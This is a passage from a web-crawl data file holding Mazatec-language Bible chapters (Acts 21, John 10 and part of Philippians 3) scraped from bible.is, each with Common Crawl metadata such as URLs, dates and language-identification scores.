12","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/12","date":"2013-12-08T14:43:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163065934\/warc\/CC-MAIN-20131204131745-00015-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000071526,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.000007152557373}","num_words":513,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.287,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga ijye iníkítsa̱jna‑ji̱n jñà xi̱ta̱ xàngi̱‑ji̱n, 'kia̱á tsihijin jngo‑ji̱n chitso nga tsangì kixi̱‑ji̱n ya̱ ñánda̱ 'mì Cos; ra kjomà nchijòn ijchò‑ji̱n ñánda̱ 'mì Rodas, a̱kjòn tsangì‑ji̱n skanda ján Pátara. 2Ya̱ Pátara kisakò jngo‑naji̱n chitso ra tífì ya̱ Fenicia, jè tsikitsa̱jnaya‑ji̱n a̱kjòn tsangì‑ji̱n. 3'Kia̱ nga i̱nchimangí‑ji̱n ya̱ a̱jin nandá, kijcha‑náji̱n jè nangi ra kjijnajin‑ndá ra 'mì Chipre; ya̱á kjijna ya̱ ngaskoán‑na̱ji̱n; 'koa̱á 'sín tsangì kixi̱‑ji̱n skanda Siria. Ya̱á 'jaha'sen chitso ya̱ na̱xi̱ndá Tiro nga̱ ya̱á itjajén 'chá ra 'ya. 4Ya̱ Tiro, iskajin‑náji̱n xi̱ta̱ ra kotá'yá'ta‑la̱ Cristo. Ito ni̱chjin tsikitsa̱jnako̱‑ji̱n. Jñà xi̱ta̱ kìi̱, 'koa̱á 'sín isìchi̱ya‑la̱ jè Inìma̱ Tsje‑la̱ Nainá nga jè Pablo mì kì ma ki̱ji̱ ján Jerusalén ko̱ 'koa̱á 'sín kitsò‑la̱. 5'Kia̱ nga ijye tsato jngo xomàna̱ nga titsa̱jna‑ji̱n, a̱kjòn tsangì india‑naji̱n. Tsakáhijtako̱ ijye‑naji̱n jñà xi̱ta̱‑la̱ Cristo ko̱ íchjín‑la̱ ko̱ i̱xti‑la̱ skanda ya̱ a̱ndi na̱xi̱ndá. Ya̱ a̱ndi ndáchikon tsincha-xkó'nchi‑náji̱n nga tsikitsa'ba‑la̱ji̱n Nainá. 6A̱kjòn tsi'kì‑la̱ji̱n ndsa̱‑ji̱n xàngi̱‑ji̱n nga tsangì‑naji̱n; ra ji̱n itjàha'sen‑náji̱n chitso, ko̱ jñà xi̱ta̱ kìi̱, kijí‑ni ni'ya‑la̱. 7Tsangìjin‑ndá-isa‑ji̱n nga titsa̱ya‑ji̱n chitso; ítjo̱‑ji̱n ya̱ na̱xi̱ndá Tiro skanda nga ijchò‑ji̱n ya̱ na̱xi̱ndá Tolemaida. Ya̱á itjahatsíjen‑la̱ji̱n jñà ra 'ndsé ma ra a̱'ta 'tse̱ Cristo; jngo ni̱chjin tsikitsa̱jnako̱‑ji̱n. 8'Kia̱ ra ma nchijòn, tsangì‑náji̱n ján Cesarea. Ijchò‑ji̱n ya̱ ni'ya‑la̱ Felipe ra chja̱ya 'én nda‑la̱ Cristo. Ya̱á iníkjáya‑naji̱n ni'ya‑la̱. Jè xi̱ta̱ ra̱kìi̱, jè‑ni jngo xi̱ta̱ ra ito itjahájin nga ma ko̱si̱ko̱'ta xi̱ta̱ na̱xi̱ndá‑la̱ Cristo. 9Jè Felipe, ijòn ma‑nì i̱xti íchjín xa̱ngó‑la̱ ra síchjeén Nainá nga chja̱ ngajo‑la̱. 10Kjín ni̱chjin tsikitsa̱jnako̱‑ji̱n jè Felipe; ya̱á 'ji jngo xi̱ta̱ ra 'mì Agabo ra síchjeén Nainá nga chja̱ ngajo‑la̱ ra inchrabà‑ni ya̱ Judea. 11'Kia̱ nga ijchòjkon‑naji̱n, iskábé xìncho̱ ra bíkjá Pablo; tsikí'ñó tsja ko̱ ndsa̱ko̱, a̱kjòn kitsò: ―'Koa̱á 'sín tsò jè Inìma̱ Tsje‑la̱ Nainá. Ki̱í 'sín ki̱íté'ñó jñà xi̱ta̱ judío ján Jerusalén jè xi̱ta̱ ra bíkjá jè xìncho̱ ra̱kìi̱, a̱kjòn ya̱ si̱ìnga̱tsja ra mì tsa xi̱ta̱ judío. 12Ngaji̱n ko̱ xi̱ta̱ ra ya̱ Cesarea i̱'nde‑la̱, 'kia̱ nga ina'yá‑ji̱n 'én kìi̱, tsikitsa'ba‑la̱ji̱n jè Pablo nga kì tà chjàn fì jnchro ya̱ Jerusalén. 13Tanga jè Pablo kitsó‑ní: ―¿Mé‑nì nga chindáya‑najiòn ko̱ mé‑ni nga ko̱'sín mejèn‑najiòn nga ti̱'koa̱ katamaba‑te‑na? 'A̱n ijyeé tíjna̱nda‑ná, mì tsa tà jè nga katasité'ñóo̱, ti̱'koa̱á tíjna̱nda‑ná nga ni̱'sín katasí'ken‑na xi̱ta̱ ján Jerusalén ra ta nga̱tjì 'tse̱ Jesús ra tíjna ítjòn‑ná. 14Mì kì kjomà tsichàkjáya‑la̱ji̱n; tà 'koa̱á 'sín ki'mì‑la̱ji̱n: ―Ko̱'sín katama koni 'sín mejèn‑la̱ Nainá. 15Ra ijye kjomà, tsikitsa̱jnanda‑náji̱n, a̱kjòn tsangì‑ji̱n ján Jerusalén. 16Tsakáhijtako̱ i'ka‑naji̱n jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Cristo ra ya̱ Cesarea i̱'nde‑la̱. Kiìko̱‑naji̱n ya̱ ni'ya‑la̱ jngo xi̱ta̱ ra 'mì Mnasón ra ya̱ Chipre i̱'nde‑la̱. Xi̱ta̱ ra̱kìi̱ ijyeé kjotseé kotá'yá'ta‑la̱ Cristo. Ya̱á iníkjáyako̱‑ji̱n. 17'Kia̱ nga ijchò‑ji̱n ya̱ Jerusalén, jñà ra 'ndsé ma ra a̱'ta 'tse̱ Cristo ra ya̱ títsa̱jna, 'ñó tsja ki'se‑la̱ nga ijchò‑ji̱n. 18Ra ma nchijòn, ya̱á tsangì‑ji̱n ko̱ Pablo ya̱ ni'ya‑la̱ Jacobo; ko̱ ya̱á títsa̱jna‑te nga'tsì jñà xi̱ta̱ jchínga ra síkinda̱ na̱xi̱ndá‑la̱ Nainá. 19Pablo isíkjáyaá‑la̱ jñà xi̱ta̱ kìi̱, a̱kjòn nda kjón tsi'kéna̱jmí ijye‑la̱ kjoa̱ ra tí'sín Nainá a̱'ta 'tse̱ xá ra tí'sín ra jè, ya̱ a̱jin‑la̱ ra mì tsa xi̱ta̱ judío. 20'Kia̱ nga kií'nchré jñà 'én kìi̱, jeyaá isíkíjna Nainá ko̱ kitsó‑la̱ jè Pablo: ―Ji̱ 'ndsé, tji'ya‑ní nga ijyeé kjín jmi ma‑ni jñà xi̱ta̱ judío ra makjiín‑la̱ a̱'ta 'tse̱ Jesús. Nga'tsì xi̱ta̱ kìi̱, 'ñó mejèn‑la̱ nga ki̱tjasòn kjo̱téxoma ra Nainá kitsjà‑la̱ Moisés. 21Tanga 'koa̱á‑ró 'sín ijye kií'nchré ra a̱'ta tsa̱ji nga 'koa̱á‑ró 'sín bakon‑ya‑la̱ ji̱ nga'tsì xi̱ta̱ judío ra títsa̱jnajin ya̱ na̱xi̱ndá‑la̱ ra mì tsa xi̱ta̱ judío, nga mí‑ró ti̱ kì si̱hitjasòn‑ni kjo̱téxoma‑la̱ Moisés, nga katasíjchija‑ró koni 'sín 'nga‑ná ra jién, ti̱'koa̱á mì‑ró ti̱ kì kátí'ta chi̱ba̱‑ni jñà ndí i̱xti‑la̱ ra kjoa̱ 'tse̱ circuncisión. 22¿Kó'sín ko̱ma‑ni? Nga̱ xá kji̱'nchré‑ni xi̱ta̱ nga i̱ tijni. 23Ko̱'sín 'ti̱ìn koni 'sín 'kín‑laji̱n; títsa̱jnajin ijòn‑naji̱n i̱jndíi̱ xi̱ta̱ ra ijyeé ko̱'sín kitsjà tsa'ba nga si̱hitjasón‑la̱ Nainá. 24Ta̱ña tiki̱i jñà xi̱ta̱ kìi̱. Ti̱tsje‑ti ijo‑li. Tíchjí ijyi kótjín kjeheya mé‑ni nga katasijno‑la̱ tsja̱‑sko̱, ko̱ mé‑ni nga ske̱‑ni xi̱ta̱ nga mì tsa kixi̱ kjoa̱ koni 'sín tsò ra a̱'ta tsa̱ji. Ya̱á ske̱‑ni nga ti̱'koa̱á nihitjasón‑ti jè kjo̱téxoma‑la̱ Moisés. 25A̱'ta 'tse̱ xi̱ta̱ ra mì tsa xi̱ta̱ judío ra ijye makjiín‑la̱ 'én nda‑la̱ Cristo, ijyeé inikasén‑la̱ji̱n xa̱jo̱n koni 'sín nga ijye ichosòn‑la̱ji̱n nga mì kì ma ski̱ne̱ tsajmì ra ya̱ sinchá ya̱ ngixko̱n xkósòn ra nainá tsò‑la̱ xi̱ta̱; ko̱ mì ti̱ kì ko̱ma ski̱ne̱‑ni jní ko̱ jñà cho̱ ra mì kì xaájten jní‑la̱; nga ti̱'koa̱á, kì ti̱ kjoa̱chijngi sísin‑la̱. 26Ra ma nchijòn, Pablo kiìko̱ó nga ijòn xi̱ta̱ kìi̱. Ta̱ñaá kiì sítsje ijo‑la̱ a̱'ta 'tse̱ jé‑la̱ [koni 'sín tjín kjo̱téxoma 'tse̱ xi̱ta̱ judío]; a̱kjòn kiì ya̱ ñánda̱ tíjna i̱ngo̱ ítjòn mé‑ni nga isíkjí'nchré‑ni xi̱ta̱ mé ni̱chjin‑ni nga kje̱he'tà ni̱chjin‑la̱ nga ko̱'sín i̱nchisítsje ijo‑la̱; a̱kjòn 'kia̱á ko̱ma i̱ko̱ cho̱ jngó jngó xi̱ta̱ kìi̱ ra tsjá‑la̱ Nainá koni jngo kjo̱tjò. 27'Kia̱ nga ijye kja̱me bijchó ito ni̱chjin, jñà xi̱ta̱ judío ra inchrabà‑ni ya̱ nangi Asia, kijtseé jè Pablo nga ya̱ tíjna ndi̱tsin i̱ngo̱ ítjòn; tsinchá'a nga'tsì xi̱ta̱, a̱kjòn itsabá'ñó jè Pablo, 28'Ñó kiìchja̱, kitsò: ―¡Nga'tsì ra xi̱ta̱ Israel 'mì‑no, ti̱si̱ko̱‑náji̱n! Jé xi̱ta̱ ra̱kìi̱ ra 'ñó tsá'ba ya̱ nga'tsì na̱xi̱ndá nga bakón‑ya kjo̱téxoma ra kondra̱ 'tse̱ na̱xi̱ndá, ra kondra̱ fì‑te‑la̱ kjo̱téxoma 'tse̱ Moisés, ko̱ ra kondra̱ fì‑la̱ i̱ngo̱ ítjòn. Skanda ti̱'koa̱á kà'fiìkó i'ka ra mì tsa xi̱ta̱ Judío nga tísíkjaha'sen ya̱ ndi̱tsin i̱ngo̱ nga tísítjé jè i̱'nde tsje‑la̱ Nainá. 29Jñà xi̱ta̱ kìi̱, kií ko̱'sín kitsò‑ni, 'kia̱ nga 'sa̱ ítjòn, kijtseé jè Pablo ya̱ a̱jin na̱xi̱ndá nga ta̱ña tje̱n‑ko̱ jngo xi̱ta̱ ra mì tsa xi̱ta̱ judío ra 'mì Trófimo ra Éfeso i̱'nde‑la̱; 'koa̱á 'sín isíkítsjen tsa ti̱'koa̱á ya̱á kiìko̱ ya̱ ndi̱tsin i̱ngo̱. 30Nga'tsì xi̱ta̱ na̱xi̱ndá kií'nchré‑ní nga kjo̱si isakò. Ndi̱to̱ón kjóxkóya jñà xi̱ta̱. Itsabá'ñó jè Pablo; kjo̱'ñó tsikínga nga tsachrje ya̱ ndi̱tsin i̱ngo̱; a̱kjòn tsikíchjàjto jè xo̱tjo̱ba̱ i̱ngo̱. 31Ijyeé mejèn i̱nchisí'ken. 'Koa̱á ma‑ni nga ndi̱to̱ón kií'nchré jè xi̱ta̱ ítjòn‑la̱ chíchàn 'tse̱ Roma nga kjo̱si isakò ya̱ na̱xi̱ndá Jerusalén. 32Jè xi̱ta̱ ítjòn‑la̱ chíchàn, ndi̱to̱ón tsikíxkóya jñà chíchàn‑la̱ ko̱ xi̱ta̱ ra tjíhijyo ítjòn‑la̱ chíchàn; ndi̱to̱ón tsahachikon nga kijì ya̱ ñánda̱ nga tjín kjo̱si. Jñà xi̱ta̱, 'kia̱ nga kijtse jñà chíchàn, 'kia̱á kitsjin‑nì jè Pablo; mì ti̱ kì iskajàn‑ko̱‑ni. 33'Kia̱ nga ijchò jè xi̱ta̱ ítjòn‑la̱ chíchàn, itsabá'ñó jè Pablo ko̱ tsikí'tin jñà chíchàn‑la̱ nga jò na'ñó ki̱cha̱ kadena̱ kátí'tá'ñó‑ni. A̱kjòn iskonangi‑la̱ jñà xi̱ta̱, yá xi̱ta̱‑ni ra 'mì Pablo ko̱ mé ra ki'sìn. 34Nga'tsì jñà xi̱ta̱ kìi̱, jndíi̱ ra ján chja̱; kja̱‑tsò kja̱‑tsò nga jngó jngó xi̱ta̱. Jè xi̱ta̱ ítjòn‑la̱ chíchàn, mì kì kjomà kijtse ñánda̱ tsikí'tsia̱ kjòn‑ni kjoa̱ ta nga̱tjì‑la̱ 'ñó si ki'sìn jñà xi̱ta̱. Kitsjá‑la̱ kjo̱hixi̱ jñà chíchàn‑la̱ nga katafìko̱ jè Pablo ya̱ ni'ya 'tse̱ chíchàn. 35'Kia̱ nga i̱nchifìmijno ya̱ ñánda̱ ma 'faha'sen‑ni chíchàn, jñà chíchàn, chaán tsa'nga jè Pablo, ta nga̱tjì‑la̱ 'ñó i̱nchima'tse̱n jñà xi̱ta̱, 36nga tsò: ―¡Katabiya‑róoi̱! 37'Kia̱ nga ijye i̱nchi'faha'sen‑ko̱ ya̱ ni'ya 'tse̱ chíchàn, jè Pablo kiìchja̱‑la̱ jè xi̱ta̱ ítjòn‑la̱ chíchàn, kitsò‑la̱: ―¿A ko̱maá kokó jngohíjta‑la? Jè xi̱ta̱ ítjòn‑la̱ chíchàn kitsó‑la̱: ―¿A maá‑li nakjí 'én griego? 38¿A mí tsa ji̱ ra Egipto i̱'nde‑li, ra tsikí'tsia̱ jngo kjo̱jchán jñà ni̱chjin ra ijye tsato nga ijòn jmi xi̱ta̱ kiìko̱ kjo̱jchán ya̱ i̱'nde a̱'ta xìn ñánda̱ nga nangi kixì? 39Pablo kitsó‑la̱: ―'A̱n, xi̱ta̱ judío‑ná, ya̱á i̱'nde‑na̱ ya̱ Tarso, jngo na̱xi̱ndá ra 'ñó nda na'yá‑la̱ ya̱ nangi Cilicia; 'ti̱ìn kjo̱nda, ti̱'nde‑ná nga kokó na̱jmiá jñà xi̱ta̱ na̱xi̱ndá. 40Jè xi̱ta̱ ítjòn‑la̱ chíchàn, kitsjá'nde‑la̱; a̱kjòn tsasijna kixi̱ jè Pablo ya̱ a̱sòn‑la̱ ñánda̱ nga ki̱jo̱n chon; iskiítje̱n tsja nga jyò katitsa̱jna jñà xi̱ta̱ na̱xi̱ndá. 'Kia̱ nga ijye tsikìtsa̱jnajyò, 'én Hebreo kiìchja̱ nga kitsò‑la̱:\nHechos 21","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Acts\/21","date":"2013-12-07T11:12:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163054096\/warc\/CC-MAIN-20131204131734-00048-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.0000085830688477}","num_words":1196,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.317,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Nguì kjoa̱ kixi̱í xi xan‑nò, jè xi̱ta̱ xi mìtsà ya̱ fahas'en‑ne xotjoa̱‑la̱ ínchíbá‑la̱ orrè, xi xìn fahas'en‑kjá‑ne, xi̱ta̱ chijé‑né, jè xi̱ta̱ xi fìko̱ chijé cho̱. 2Ta̱nga jè xi ya̱ fahas'en‑ne xotjoa̱‑la̱ ínchíbá, jè‑né xi paxtò, xi síkinda̱ orrè. 3Jè xi síkinda̱ xotjoa̱‑la̱ ínchíbá, jé kíx'a̱‑la̱. Jè xi paxtò, chja̱ 'ín‑la̱ nga jngoò ìjngoò orrè, ko̱ jñà orrè 'nchréjta‑la̱ nei‑la̱. I̱kjoàn ochrje ínchíbá‑la̱. 4K'e̱ nga jye bitjo yije ínchíbá‑la̱ jñà orrè, jè paxtò fìko̱ nga 'nchréjtaá‑la̱ nga jè nei‑la̱. 5Ta̱nga jngoò xi̱ta̱ xi kj'ei̱í, mìkiì kji̱tji̱ngui‑la̱ nga mìkiì beèxkon. Ta̱ sa̱á ta ko̱ngaá‑la̱ nga mìkiì 'nchré jta̱‑la̱ xi̱ta̱ xi kj'ei̱í. 6Jesús k'oa̱á tsò kjoa̱ xi mangásòn xi tsibéno̱jmí‑la̱. Ta̱nga jñà xi̱ta̱ koi mìkiì kjòchi̱ya‑la̱ kó tsòya‑ne. 7Jesús, ìjngoò k'a kitsò‑la̱: ―Xi nguì o̱kixi̱ k'oa̱á xán‑nò. 'A̱n‑ná xotjoa̱‑la̱ ínchíbá ñánda fahas'en‑ne jñà orrè. 8Ngats'iì jñà xi j'iì ítjòn‑na, sa̱ xi̱ta̱ chijé‑né, jñà xi fìko̱ chijé cho̱. Jñà orrè mìkiì kiì'nchréñijon‑la̱. 9'A̱n‑ná xi xotjoa̱; jè xi i̱t'aà ts'a̱n kjoa̱has'en, ki̱tjokàjiín kjo̱'in kjoa̱ ts'e̱ jé‑la̱. K'oa̱s'ín ngaya‑la̱ koni s'ín orrè nga fahas'en ínchíbá‑la̱ ko̱ bitjo ko̱ sakó‑la̱ ijñá xi kjèn. 10'Jè xi̱ta̱ chijé tà f'iì síchijé‑né, f'iì sík'en‑né, f'iì síkjehesòn‑ne. Ta̱nga 'a̱n, koií xá j'i̱‑na nga kàtas'e‑nò kjoa̱binachon ni̱ta̱ kjé‑ne, nga ni̱mé chijat'aà‑nò nga nguì ndaà kàtas'e‑nò. 11'A̱n‑ná xi paxtò xi ndaà ko'ndà orrè. Jè paxtò xi ndaà ko'ndà orrè, jè xi tjíjngoò ikon nga ki̱yátjì jñà orrè. 12Jè xi̱ta̱ xi tà chi̱'nda tíjna nga ko'ndà orrè, k'e̱ nga beè nga nchrobá chrañà tse̱jén, síkítsa̱jna jñà orrè, i̱kjoàn onga. Koií k'oa̱s'ín‑ne nga mìtsà jè paxtò xi ko'ndà, ti̱koa̱ mìtsà jè nei‑la̱ orrè. I̱kjoàn matsja‑la̱ jè tse̱jén nga tsobà'ñó jñà orrè, xki̱ xi ján sítsjòya jñà orrè xi i'nga. 13Jè xi̱ta̱ xi chi̱'nda tíjna tà onga‑né; koií k'oa̱s'ín‑ne nga nìmé kinda̱‑la̱. Tà jè síkinda̱ chjí‑la̱ mìtsà jñà orrè síkinda̱. 14- 15''A̱n‑ná paxtò xi ndaà ko'ndà orrè; koni s'ín beèxkon‑na Na̱'èn‑na̱, ti̱koa̱ 'a̱n bexkoan Na̱'èn‑na̱, k'oa̱á ti̱s'ín beèxkon‑ná orrè‑na̱ kó kjoàn, ko̱ jñà orrè beèxkoòn‑na nga ts'a̱n. 'A̱n tíjngoò takoàn nga ki̱yátjià jñà orrè‑na̱. 16Ti̱koa̱ tjín‑ìsa‑na xi kj'ei̱í orrè, jñà xi mìtsà i̱ títsa̱jnaya ínchíbá jè. Ti̱koa̱á mochjeén‑né nga kji̱nchrobàkon‑na mé‑ne nga kji̱'nchréñijon‑na ti̱koa̱ si̱kitasòn‑na. Jngoò ínchíbá ko̱ma‑ne ko̱ jngoò ko̱ma paxtò xi skó'nda. 17'Koií kjoa̱‑la̱ nga matsjakeè‑na Na̱'èn‑na̱ nga 'a̱n tíjngoò takoàn nga ki̱yá mé‑ne k'e̱ nga ko̱ma i̱skan kjoa̱áya‑na. 18Ni̱yá xi tjí'nde‑la̱ nga si̱ìk'en‑na, 'a̱n kjo̱tsja ts'a̱n‑ná nga tsja yijo‑na̱. Tjí'nde‑na̱ nga tsja, ti̱koa̱ tjí'nde‑na̱ nga kjoa̱áya‑na̱ i̱t'aà ts'e̱ kjoa̱biyaà. Jè Na̱'èn‑na̱ k'oa̱ tjín kjo̱tíxoma xi kitsjaà‑na̱. 19Jñà xi̱ta̱ judío k'e̱ nga kiì'nchré 'én koi, ìjngoò k'a kjòjòya jñà xi̱ta̱. 20Kjín ma xi̱ta̱ xi kitsò: ―Ini̱ma̱ cho̱‑la̱ nei̱í tíjiìn ini̱ma̱‑la̱. Xi̱ta̱ ská‑né. ¿Mé‑ne o̱kji‑ne xi̱ta̱ xi na'yà‑là? 21Jñà xi̱ta̱ xi i'nga kitsò: ―'Én koi mìtsà ts'e̱ xi̱ta̱ nei̱í. ¿A ko̱maá‑la̱ jè xi̱ta̱ nei̱í nga skíx'a̱ xko̱n xi̱ta̱ xi mìkiì tsejèn‑la̱? 22K'e̱ nga na̱chrjein cho̱n 'nchán, ján Jerusalén tíbitjo s'eí nga ijchò ìjngoò nó nga kjòchikon‑t'in i̱ngo̱. 23Jesús ya̱ tíjna i̱ngo̱ ítjòn nga tsóbangui nguitjoa̱ xi 'mì Salomón. 24Jñà xi̱ta̱ judío chincha jngoò itjandiì‑la̱ Jesús, kitsò‑la̱: ―¿Skanda mé na̱chrjein chíña‑lèje̱n? Jngoò k'a koa̱tìn‑náje̱n, ¿a ji̱‑né xi Cristo [xi xó kisìkasén‑ne Nainá]? 25Jesús kiìchja̱ kitsò‑la̱: ―Jyeé k'oa̱ kixan‑nò, ta̱nga jñò mìkiì mokjeiín‑nò. Jñà kjo̱xkón xi i̱t'aà ts'e̱ Na̱'èn‑na̱ s'iaàn, jñà síkixi̱ya ndaà kjoa̱ xi i̱t'aà ts'a̱n. 26Ta̱nga jñò, mìkiì mokjeiín‑nò, koií kjoa̱‑la̱ nga mìtsà ndí orrè ts'a̱n xan‑nò. 27Jñà ndí orrè‑na̱ 'nchréjtaá‑na̱; 'a̱n beèxkon‑ná, koa̱ fìtji̱ngui‑na̱. 28'A̱án tsja‑la̱ kjoa̱binachon ni̱ta̱ kjé‑ne; mìkiì chija ni̱ta̱ kjé‑ne; ti̱koa̱ ni̱yá xi kjoa̱á'an‑na̱. 29Jè Na̱'èn‑na̱ xi kisìnga̱tsja‑na jñà ndí orrè, ìsa̱ tíjna ítjòn ni̱ta̱ yá‑ne. Ni̱jngoò xi ko̱ma‑la̱ kjoa̱á'an‑na i̱ya tsja Na̱'èn‑na̱. 30'A̱n ko̱ Na̱'èn‑na̱ tà jngoò ma‑naje̱n. 31Jñà xi̱ta̱ judío tsibíxkó nda̱jo̱ nga mejèn‑la̱ ko̱sèn‑la̱ Jesús. 32Kiìchja̱ Jesús kitsò‑la̱: ―'Ñó kjìn kjo̱xkón xi ndaà tjín jye tsakoò‑nò xi inchrobà‑ne i̱t'aà ts'e̱ Na̱'èn‑na̱. ¿Jñò, ñá‑la̱á nga̱tjì‑la̱ kjoa̱ koi, nga nda̱jo̱ mejèn bínè‑ná? 33Jñà xi̱ta̱ judío kitsò: ―Mìtsà koií kjoa̱‑la̱ kjo̱xkón ndaà xi tì'nì nga nda̱jo̱ kínè‑lèje̱n. Koií kjoa̱‑la̱ nga Nainá nokjoàjno‑la̱ nga Nainá 'mì‑la̱ yijo‑lè. Ji̱, tà xi̱ta̱‑né. 34Jesús kiìchja̱ kitsò‑la̱: ―Jè Xo̱jo̱n‑la̱ Nainá xi jñò chìta'yà k'oa̱á s'ín tíchja̱ ñánda nga tsò Nainá: \"Jñò, k'oa̱á kixan‑nò, nainá 'mì‑nò.\" 35Xo̱jo̱n‑la̱ Nainá, mì yá xi ko̱ma ko̱chrjekàngui. K'oa̱á s'ín tíchja̱ nga jè Na̱'èn‑ná, nainá kitsò‑la̱ jñà xi̱ta̱ xi kitjoé‑la̱ 'én‑la̱. 36Tsà k'oa̱s'ín ki'mì xi̱ta̱ koi, ¿mé‑ne bixón‑nò nga Nainá chjàjno‑la̱ k'e̱ nga xan‑nò: 'A̱n‑ná xi Ki'ndí‑la̱ Nainá? Nga jè Nainá kitsjaà‑na̱ xá nga kisìkasén‑na̱ i̱ i̱sò'nde. 37Kì kiì mokjeiín‑nò i̱t'aà ts'a̱n, tsà mì k'oa̱á s'ín tìs'iaàn koni s'ín tís'ín Na̱'èn‑na̱. 38Ta̱nga tsà k'oa̱ tjín kjoa̱ xi tìs'iaàn na̱s'ín mìkiì mokjeiín‑nò i̱t'aà ts'a̱n, kàtakjeiín‑nò i̱t'aà ts'e̱ kjoa̱ xi tìs'iaàn, mé‑ne nga k'oa̱s'ín jcha̱‑nò ko̱ kàtakjeiín‑nò nga ta jngoó ma‑naje̱n Na̱'èn‑na̱ ko̱ 'a̱n. 39Jñà xi̱ta̱ judío mejèn‑la̱ nga kitsobà'ñó ìjngoò k'a Jesús. Ta̱nga Jesús itjokàya tsja xi̱ta̱ koi, i̱kjoàn kiì. 40K'e̱é kiì ìjngoò k'a ján xijngoaà xa̱jngá nandá Jordán ya̱ ñánda kis'iìn ítjòn bautizar xi̱ta̱ jè Juan; Jesús ya̱á tsibìjna. 41'Ñó kjìn xi̱ta̱ ijchò tji̱ngui‑la̱ Jesús. Xi̱ta̱ koi, kitsò: ―Juan, ni̱mé kjo̱xkón ndaà kis'iìn. Ta̱nga ngats'iì 'én xi kitsò jè Juan i̱t'aà ts'e̱ xi̱ta̱ jè, nguì kjoa̱ kixi̱‑né. 42Ya̱ i̱'nde jè, 'ñó kjìn xi̱ta̱ kòkjeiín‑la̱ i̱t'aà ts'e̱ Jesús.\nSan Juan 10","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/John\/10","date":"2013-12-10T22:21:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164026971\/warc\/CC-MAIN-20131204133346-00061-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"maa_Latn_score\": 1.000009298324585}","num_words":836,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.294,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ndí 'ndsè, k'oa̱á xan‑nò, tsja t'è‑là ini̱ma̱‑nò nga Na̱'èn‑ná Jesús titsa̱jnako̱o. 'A̱n, mìkiì masiì‑na̱ nga tìkjiì ìjngoò k'a‑nò jñà kjoa̱ xi jye kòkjìn k'a kjiì‑nò nga kjo̱ndaà tsa̱jòn‑nò. 2Ti̱kinda̱a yijo‑nò i̱t'aà ts'e̱ jñà xi̱ta̱ xi kjo̱'ñó mejèn‑la̱ nga otet'aà yijo‑la̱ xi̱ta̱ nga bít'aà chi̱ba̱‑la̱ kjoa̱ ts'e̱ circuncisión. Ti̱kinda̱a xi̱ta̱ koi nga ni̱mé chjí‑la̱. Ti̱kinda̱a nga 'ñó ch'o s'ín. 3Jñá‑ná xi nguì kixi̱ kjoa̱ nga tjít'aà chi̱ba̱‑ná nga 'ya‑la̱ nga xi̱ta̱‑la̱ Nainá 'mì‑ná. Jñá‑ná xi ndaà yaxkoán Nainá nga jè Ini̱ma̱ Tsjeè‑la̱ síchját'aà‑ná. 'Ñó ndaà matsja‑ná nga jè ma'ñót'aà takoán Cristo Jesús nga mìtsà jè kjoa̱ ts'e̱ yijo‑ná ma'ñót'aà takoán. 4'A̱n, mìtsà kjoa̱ ts'e̱ yijo‑na̱ ma'ñót'aà takoàn na̱s'ín kjìn sko̱ya kjo̱ndaà kisìkitasoàn. Tsà tjín i'nga xi̱ta̱ xi koi ma'ñót'aà takòn kjo̱ndaà xi tjín‑la̱, ta̱nga 'a̱n mì k'oa̱á s'ín tìs'iaàn na̱s'ín tsato kjìn sko̱ya kjo̱ndaà kisìkitasoàn. 5K'e̱ nga tjín‑la̱ jiìn na̱chrjein nga kits'ian, kisit'aà chi̱ba̱‑na̱ kjoa̱ ts'e̱ circuncisión. 'A̱n, xi̱ta̱ Israel‑ná, tje̱‑la̱ Benjamín‑ná. Xi̱ta̱ Hebreo‑ná, ko̱ jñà xi̱ta̱ jchínga‑na̱ nguì xi̱ta̱ Hebreo‑né. 'A̱n, nguì xi̱ta̱ fariseo‑ná nga jñà kjo̱tíxoma‑la̱ xi̱ta̱ judío nguì ndaà kisìkitasoàn. 6Nga 'ñó fìt'aà‑la̱ koni s'ín tjín kjo̱tíxoma‑la̱ xi̱ta̱ judío, 'a̱n skanda kiìtji̱ngui kondra̱á‑la̱ xi̱ta̱ na̱xa̱ndá‑la̱ Cristo. 'A̱n, nguì kixi̱í kisìkitasoàn kjo̱tíxoma‑la̱ xi̱ta̱ judío, ni̱jngoò xi mìkiì ndaà kisìkitasoàn. 7Nga sa̱ ítjòn, 'a̱n, k'oa̱á s'ín kisìkítsjeèn nga 'ñó tse chjí‑la̱ ngats'iì kjoa̱ koi; ta̱nga i̱'ndei̱ nga Cristo fìt'aà‑la̱ ni̱mé chjí‑la̱ kjoa̱ koi. 8Xi nguì o̱kixi̱, ngats'iì kjoa̱ xi 'a̱n ma'ñót'aà takoàn nga sa̱ kjòtseé, i̱'ndei̱, k'oa̱á s'ín beè takoàn nga ni̱mé chjí‑la̱ mì k'oa̱à‑ne koni s'ín bexkoan Cristo Jesús xi otíxoma‑na nga ìsa̱ 'ñó tsato 